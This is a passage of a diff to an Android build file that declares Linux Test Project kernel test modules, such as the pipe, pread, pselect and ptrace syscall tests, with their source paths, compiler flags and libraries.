+    srcs: ["testcases/kernel/syscalls/pathconf/pathconf01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pause01",
+    stem: "pause01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pause/pause01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pause02",
+    stem: "pause02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pause/pause02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pause03",
+    stem: "pause03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pause/pause03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pcrypt_aead01",
+    stem: "pcrypt_aead01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/crypto/pcrypt_aead01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pec_listener",
+    stem: "pec_listener",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/connectors/pec/pec_listener.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_perf_event_open01",
+    stem: "perf_event_open01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/perf_event_open/perf_event_open01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_perf_event_open02",
+    stem: "perf_event_open02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/perf_event_open/perf_event_open02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_personality01",
+    stem: "personality01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/personality/personality01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_personality02",
+    stem: "personality02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/personality/personality02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pids_task1",
+    stem: "pids_task1",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/pids/pids_task1.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
     ],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fstat03_64",
-    stem: "fstat03_64",
+    name: "ltp_pids_task2",
+    stem: "pids_task2",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
+    srcs: ["testcases/kernel/controllers/pids/pids_task2.c"],
     local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe01",
+    stem: "pipe01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe02",
+    stem: "pipe02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe03",
+    stem: "pipe03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe04",
+    stem: "pipe04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe05",
+    stem: "pipe05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe06",
+    stem: "pipe06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe07",
+    stem: "pipe07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe08",
+    stem: "pipe08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe09",
+    stem: "pipe09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe10",
+    stem: "pipe10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe11",
+    stem: "pipe11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe/pipe11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe2_01",
+    stem: "pipe2_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe2/pipe2_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pipe2_02",
+    stem: "pipe2_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pipe2/pipe2_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pivot_root01",
+    stem: "pivot_root01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pivot_root/pivot_root01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pm_get_sched_values",
+    stem: "pm_get_sched_values",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/power_management/pm_get_sched_values.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_poll01",
+    stem: "poll01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/poll/poll01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_poll02",
+    stem: "poll02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/poll/poll02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_posix_fadvise01",
+    stem: "posix_fadvise01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
         "testcases/kernel/syscalls/utils",
         "include/old",
     ],
@@ -15116,46 +9956,11 @@
 }
 
 cc_test {
-    name: "ltp_pthcli",
-    stem: "pthcli",
+    name: "ltp_posix_fadvise01_64",
+    stem: "posix_fadvise01_64",
     defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/clisrv/writen.c",
-        "testcases/kernel/sched/clisrv/readline.c",
-        "testcases/kernel/sched/clisrv/pthcli.c",
-    ],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise01.c"],
     cflags: [
-        "-D_LINUX",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_stat05_64",
-    stem: "stat05_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat05.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/stat",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise03_64",
-    stem: "posix_fadvise03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
     ],
@@ -15168,12 +9973,12152 @@
 }
 
 cc_test {
+    name: "ltp_posix_fadvise02",
+    stem: "posix_fadvise02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_posix_fadvise02_64",
+    stem: "posix_fadvise02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_posix_fadvise03",
+    stem: "posix_fadvise03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_posix_fadvise03_64",
+    stem: "posix_fadvise03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_posix_fadvise04",
+    stem: "posix_fadvise04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise04.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_posix_fadvise04_64",
+    stem: "posix_fadvise04_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise04.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fadvise",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ppoll01",
+    stem: "ppoll01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ppoll/ppoll01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_prctl01",
+    stem: "prctl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/prctl/prctl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_prctl02",
+    stem: "prctl02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/prctl/prctl02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_prctl03",
+    stem: "prctl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/prctl/prctl03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pread01",
+    stem: "pread01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pread/pread01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pread",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pread01_64",
+    stem: "pread01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pread/pread01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/pread",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pread02",
+    stem: "pread02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pread/pread02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pread",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pread02_64",
+    stem: "pread02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pread/pread02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/pread",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pread03",
+    stem: "pread03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pread/pread03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pread",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pread03_64",
+    stem: "pread03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pread/pread03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/pread",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv01",
+    stem: "preadv01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv/preadv01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/preadv",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv01_64",
+    stem: "preadv01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv/preadv01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/preadv",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv02",
+    stem: "preadv02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv/preadv02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/preadv",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv02_64",
+    stem: "preadv02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv/preadv02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/preadv",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv03",
+    stem: "preadv03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv/preadv03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/preadv",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv03_64",
+    stem: "preadv03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv/preadv03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/preadv",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv201",
+    stem: "preadv201",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv2/preadv201.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/preadv2",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv201_64",
+    stem: "preadv201_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv2/preadv201.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/preadv2",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv202",
+    stem: "preadv202",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv2/preadv202.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/preadv2",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_preadv202_64",
+    stem: "preadv202_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/preadv2/preadv202.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/preadv2",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_print_caps",
+    stem: "print_caps",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/filecaps/print_caps.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_proc01",
+    stem: "proc01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/proc/proc01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_process_vm01",
+    stem: "process_vm01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/cma/process_vm01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_process_vm_readv02",
+    stem: "process_vm_readv02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/cma/process_vm_readv02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_process_vm_readv03",
+    stem: "process_vm_readv03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/cma/process_vm_readv03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_process_vm_writev02",
+    stem: "process_vm_writev02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/cma/process_vm_writev02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pselect01",
+    stem: "pselect01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pselect01_64",
+    stem: "pselect01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pselect02",
+    stem: "pselect02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pselect02_64",
+    stem: "pselect02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pselect03",
+    stem: "pselect03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pselect03_64",
+    stem: "pselect03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pt_test",
+    stem: "pt_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/tracing/pt_test/pt_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ptem01",
+    stem: "ptem01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/pty/ptem01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pth_str01",
+    stem: "pth_str01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/pthreads/pth_str01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pth_str02",
+    stem: "pth_str02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/pthreads/pth_str02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pth_str03",
+    stem: "pth_str03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/pthreads/pth_str03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pthcli",
+    stem: "pthcli",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/clisrv/writen.c",
+        "testcases/kernel/sched/clisrv/readline.c",
+        "testcases/kernel/sched/clisrv/pthcli.c",
+    ],
+    cflags: ["-D_LINUX"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_pthserv",
+    stem: "pthserv",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/clisrv/writen.c",
+        "testcases/kernel/sched/clisrv/readline.c",
+        "testcases/kernel/sched/clisrv/pthserv.c",
+    ],
+    cflags: ["-D_LINUX"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_ptrace01",
+    stem: "ptrace01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ptrace02",
+    stem: "ptrace02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ptrace03",
+    stem: "ptrace03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ptrace04",
+    stem: "ptrace04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ptrace05",
+    stem: "ptrace05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ptrace07",
+    stem: "ptrace07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pty01",
+    stem: "pty01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/pty/pty01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pty02",
+    stem: "pty02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/pty/pty02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite01",
+    stem: "pwrite01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite01.c"],
+    cflags: ["-Wno-error"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite01_64",
+    stem: "pwrite01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-Wno-error",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite02",
+    stem: "pwrite02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite02.c"],
